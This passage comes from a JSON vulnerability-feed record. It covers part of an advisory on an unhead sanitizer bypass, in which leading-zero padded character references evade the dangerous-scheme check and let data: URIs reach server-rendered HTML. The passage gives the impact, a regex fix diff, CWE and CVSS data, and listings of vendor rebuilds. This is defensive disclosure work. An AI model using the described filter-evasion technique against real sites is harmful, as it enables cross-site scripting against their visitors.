or `vbscript:`\nscheme injection when that input contains leading-zero padded numeric character\nreferences. The documented guarantee is silently violated.\n\n### 2. Confirmed data: URI escape to SSR output\n\nA fully valid `data:text/html` URI now reaches server-rendered HTML. In applications\nwhere any downstream code reads and loads `\u003clink href\u003e` values (head management\nutilities, SEO tooling, icon preview features), this is **confirmed XSS** — the payload\npersists in SSR output and executes for every visitor whose browser triggers the\ndownstream consumption path.\n\n### 3. Forward exploitability\n\nIf any navigation-context attribute (e.g. `\u003ca href\u003e`, `\u003cform action\u003e`) is added to the\nsafe attribute whitelist in a future release, this bypass produces **immediately\nexploitable stored XSS** with no additional attacker effort, because the end-to-end\nbypass already works today.\n\n---\n\n## Suggested Fix\n\nRemove the fixed digit caps from both entity regexes. The downstream `safeFromCodePoint()`\nfunction already validates that decoded codepoints fall within the valid Unicode range\n(`\u003e 0x10FFFF || \u003c 0 || isNaN → ''`), so unbounded digit matching introduces no new\nattack surface — it only ensures that all spec-compliant encodings of a codepoint are\ndecoded before the scheme check runs.\n\n```diff\n- const HtmlEntityHex = /\u0026#x([0-9a-f]{1,6});?/gi\n- const HtmlEntityDec = /\u0026#(\\d{1,7});?/g\n+ const HtmlEntityHex = /\u0026#x([0-9a-f]+);?/gi\n+ const HtmlEntityDec = /\u0026#(\\d+);?/g\n```\n\n**File:** `packages/unhead/src/plugins/safe.ts`, lines 10–11\n\nThis is a minimal, low-risk change. No other code in the call path requires modification.\n\n---\n\n## Weaknesses\n\n| CWE | Description |\n|---|---|\n| **CWE-184** | Incomplete List of Disallowed Inputs |\n| **CWE-116** | Improper Encoding or Escaping of Output |\n| **CWE-20** | Improper Input Validation |\n\n---\n\n## References\n\n| Source | Link |\n|---|---|\n| HTML5 spec — leading zeros valid and unbounded | https://html.spec.whatwg.org/multipage/syntax.html#numeric-character-reference-end-state |\n| GHSA-46fp-8f5p-pf2c — Loofah `allowed_uri?` bypass (same root cause, accepted CVE) | https://github.com/advisories/GHSA-46fp-8f5p-pf2c |\n| CVE-2026-26022 — Gogs stored XSS via `data:` URI sanitizer bypass (same class) | https://advisories.gitlab.com/pkg/golang/gogs.io/gogs/CVE-2026-26022/ |\n| OWASP XSS Filter Evasion — leading-zero entity encoding | https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html |\n| Chrome: `data:` URIs blocked for top-level navigation since Chrome 60; permitted in iframes | https://developer.chrome.com/blog/data-url-deprecations |\n| Prior unhead advisory (different code path, context only) | GHSA-g5xx-pwrp-g3fv / CVE-2026-31860 |\n| Affected file | https://github.com/unjs/unhead/blob/main/packages/unhead/src/plugins/safe.ts |","status":"published","published":"2026-04-09T20:28:05Z","modified":"2026-04-09T20:41:24.335154Z","cvss":[{"version":"3.1","score":6.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-184"],"updated_at":"2026-11-02T15:46:43.123867Z"},{"id":"CLSA-2026-1789031967","title":"TuxCare security update for unhead (1 CVE)","description":"TuxCare rebuilt unhead to address 1 CVE. Fixed in 1.11.20-tuxcare.2.","status":"published","published":"2026-09-10T09:19:27Z","modified":"2026-10-15T09:47:55.838290637Z","updated_at":"2026-11-02T15:43:47.938828Z"},{"id":"CLSA-2026-1792160937","title":"TuxCare security update for @unhead/dom (1 CVE)","description":"TuxCare rebuilt @unhead/dom to address 1 CVE. Fixed in 1.11.20-tuxcare.2.","status":"published","published":"2026-10-16T14:28:53Z","modified":"2026-10-16T16:30:36.673599705Z","updated_at":"2026-11-02T15:43:50.949147Z"},{"id":"CLSA-2026-1792161538","title":"TuxCare security update for @unhead/shared (1 CVE)","description":"TuxCare rebuilt @unhead/shared to address 1 CVE. Fixed in 1.11.20-tuxcare.2.","status":"published","published":"2026-10-16T14:38:58Z","modified":"2026-10-16T16:31:05.432487648Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161580","title":"TuxCare security update for @unhead/ssr (1 CVE)","description":"TuxCare rebuilt @unhead/ssr to address 1 CVE. Fixed in 1.11.20-tuxcare.2.","status":"published","published":"2026-10-16T14:39:40Z","modified":"2026-10-16T16:30:23.854999726Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792161645","title":"TuxCare security update for @unhead/vue (1 CVE)","description":"TuxCare rebuilt @unhead/vue to address 1 CVE. Fixed in 1.11.20-tuxcare.2.","status":"published","published":"2026-10-16T14:40:45Z","modified":"2026-10-16T16:31:06.618993519Z","updated_at":"2026-11-02T15:43:51.213191Z"},{"id":"CLSA-2026-1792162015","title":"TuxCare security update for @unhead/schema (1 CVE)","description":"TuxCare rebuilt @unhead/schema to address 1 CVE. Fixed in 1.11.20-tuxcare.2.","status":"published","published":"2026-10-16T14:46:55Z","modified":"2026-10-16T16:31:21.011415159Z","updated_at":"2026-11-02T15:43:51.466048Z"}]}}